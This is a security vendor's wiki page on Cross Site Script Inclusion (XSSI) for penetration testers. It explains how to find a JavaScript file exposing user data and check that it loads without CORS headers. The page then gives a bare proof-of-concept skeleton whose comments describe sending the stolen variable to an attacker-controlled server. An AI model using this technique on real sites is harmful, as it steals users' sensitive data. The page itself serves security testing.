Menu Icon

Cobalt Vulnerability Wiki

Cobalt Vulnerability Wiki


Toggle Arrow IconV2 - AuthenticationToggle Arrow IconV3 - Session ManagementToggle Arrow IconV4 - Access ControlToggle Arrow IconV5 - Validation/Sanitization
Blind SQL injectionClickjackingCommand Injection Cookie-Based XSS Cross Site Script Inclusion (XSSI)CSRF/URL-Based XSS CSS injectionCSV Injection DOM-Based XSSFlash-Based XSS HTML injection HTTP Parameter Pollution to XSS HTTP Request Smuggling HTTP Response Splitting (CRLF)iframe InjectionLDAP injection Local File InclusionOOB (Out of Band) XXEOpen Redirect Reflected File Download (RFD) Reflected Self-XSSReflected XSS Reflected XSS - WAF bypassRemote Code ExecutionRemote File InclusionRosetta FlashServer Side Template InjectionServer Side Template Injection (SSTI) in Flask SQL Injection SSI InjectionSSRF Stored XSSTabnabbing TRACE Method XSS - Cross-Site Tracing (XST) Universal (UXSS) XSS WAF Bypass XSS via RefererXXE
Toggle Arrow IconV6 - CryptographyToggle Arrow IconV7 - Error LoggingToggle Arrow IconV8 - Data ProtectionToggle Arrow IconV9 - CommunicationsToggle Arrow IconV10 - Malicious CodeToggle Arrow IconV11 - Business LogicToggle Arrow IconV12 - Files ResourcesToggle Arrow IconV13 - APIToggle Arrow IconV14 - Config
Arrow Left

V5 - Validation/Sanitization

Cross Site Script Inclusion (XSSI)


Try to find a JS file which includes sensitive information of the user

Look at the HTTP GET request for the JS file to make sure that it doesn’t require CORS triggering headers like:

Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever

If it does have CORS headers then, the attack will fail, unless you find a CORS issue.

Use the following PoC to exploit

<script src="">


<script defer>

// var_name is a variable in vuln.js holding sensitive information


// sending information to an attacker controlled server







Ready to get started?

our platformschedule a demo
Aircall logoAlgolia logoCangageCredit KarmaDattoEgnyteHubspotMovinimageMulesoftPendoSentaraSmarshSnowSolarisTalkdeskVerifoneKubraAxel SpringerNuna

Join some of these great clients we're proud to have helped